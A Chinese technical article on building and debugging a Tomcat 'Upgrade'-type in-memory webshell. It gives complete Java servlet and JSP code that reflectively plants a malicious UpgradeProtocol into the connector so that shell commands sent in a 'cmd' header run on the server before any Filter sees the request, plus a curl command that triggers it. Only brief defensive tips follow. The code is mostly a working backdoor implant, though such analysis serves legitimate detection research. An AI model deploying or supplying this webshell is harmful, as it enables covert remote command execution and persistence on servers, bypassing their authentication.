Tomcat内存马之Upgrade构建调试分析
字数 931 2025-08-29 08:30:24
Tomcat Upgrade型内存马构建与调试分析
前言
在当今网络安全环境下,传统文件形式的后门容易被检测,内存马技术因其隐蔽性成为研究热点。本文将详细介绍Tomcat Upgrade型内存马的原理、构建和调试方法。
基本概念
Upgrade型内存马利用了Tomcat的协议升级机制,在请求进入Filter之前植入恶意代码,解决了以下问题:
- 绕过原有Filter的鉴权
- 解决反代导致的路径问题
- 在请求处理早期阶段执行恶意代码
技术原理
Tomcat处理请求的流程中,Upgrade机制位于Filter之前,具体在Execute和Process阶段之间。通过构造恶意的UpgradeProtocol并插入到Tomcat的httpUpgradeProtocols中,可以实现内存马的植入。
核心实现
1. 基础示例
package com.al1ex.servlet;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {
static class MyUpgrade implements UpgradeProtocol {
public String getHttpUpgradeName(boolean b) { return null; }
public byte[] getAlpnIdentifier() { return new byte[0]; }
public String getAlpnName() { return null; }
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) { return null; }
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) { return null; }
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) { return null; }
@Override
public boolean accept(org.apache.coyote.Request request) {
try {
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
resp.doWrite(ByteBuffer.wrap("Hello, this my test Upgrade!".getBytes()));
} catch (Exception ignored) {}
return false;
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
RequestFacade rf = (RequestFacade) req;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);
new MyUpgrade().accept(request1.getCoyoteRequest());
} catch (Exception ignored) {}
}
}
2. 完整内存马实现
package com.al1ex.servlet;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.HashMap;
@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {
static class MyUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean b) { return null; }
@Override
public byte[] getAlpnIdentifier() { return new byte[0]; }
@Override
public String getAlpnName() { return null; }
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) { return null; }
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) { return null; }
@Override
public boolean accept(org.apache.coyote.Request request) {
String p = request.getHeader("cmd");
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", p}
: new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
byte[] result = new java.util.Scanner(
new ProcessBuilder(cmd).start().getInputStream(), "GBK")
.useDelimiter("\\A").next().getBytes();
resp.setCharacterEncoding("GBK");
resp.doWrite(ByteBuffer.wrap(result));
} catch (Exception ignored) {}
return false;
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
RequestFacade rf = (RequestFacade) req;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);
Field connector = Request.class.getDeclaredField("connector");
connector.setAccessible(true);
Connector realConnector = (Connector) connector.get(request1);
Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
protocolHandlerField.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
HashMap upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler);
MyUpgrade myUpgrade = new MyUpgrade();
upgradeProtocols.put("hello", myUpgrade);
upgradeProtocolsField.set(handler, upgradeProtocols);
} catch (Exception ignored) {}
}
}
3. JSP版本实现
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %>
<%@ page import="org.apache.coyote.UpgradeProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.coyote.Processor" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.nio.ByteBuffer" %>
<%
class MyUpgrade implements UpgradeProtocol {
public String getHttpUpgradeName(boolean isSSLEnabled) { return "hello"; }
public byte[] getAlpnIdentifier() { return new byte[0]; }
public String getAlpnName() { return null; }
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) { return null; }
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) { return null; }
@Override
public boolean accept(org.apache.coyote.Request request) {
String p = request.getHeader("cmd");
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", p}
: new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
org.apache.coyote.Response resp = (org.apache.coyote.Response) response.get(request);
byte[] result = new java.util.Scanner(
new ProcessBuilder(cmd).start().getInputStream(), "GBK")
.useDelimiter("\\A").next().getBytes();
resp.setCharacterEncoding("GBK");
resp.doWrite(ByteBuffer.wrap(result));
} catch (Exception ignored){}
return false;
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
Field conn = Request.class.getDeclaredField("connector");
conn.setAccessible(true);
Connector connector = (Connector) conn.get(req);
Field proHandler = Connector.class.getDeclaredField("protocolHandler");
proHandler.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
HashMap upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler);
upgradeProtocols.put("hello", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);
%>
调试分析
-
关键断点位置:
StandardHostValve.java中的process函数调用处 -
调用流程:
org.apache.coyote.AbstractProcessorLight#process- 当
SocketWrapperBase状态为OPEN_READ时调用对应的processor处理 - 检查header中的
Connection头是否为upgrade - 调用
getUpgradeProtocol方法根据upgradedName从httpUpgradeProtocols获取UpgradeProtocol - 调用
UpgradeProtocol对象的accept方法
-
关键反射路径:
Request -> Connector -> ProtocolHandler -> httpUpgradeProtocols
攻击测试
使用curl测试:
curl -H "Connection: Upgrade" -H "Upgrade: hello" -H "cmd: whoami" http://localhost:8080/evil
防御建议
- 监控Tomcat中
httpUpgradeProtocols的异常修改 - 限制反射操作权限
- 检查异常
Upgrade头请求 - 使用RASP进行运行时防护
版本注意事项
不同Tomcat版本可能有差异,实现时需注意:
- 类路径和包结构变化
- 字段名称可能不同
- 方法签名可能有差异
总结
Upgrade型内存马通过在Tomcat早期处理阶段植入恶意代码,具有较高的隐蔽性和绕过能力。理解其原理有助于更好地防御此类攻击。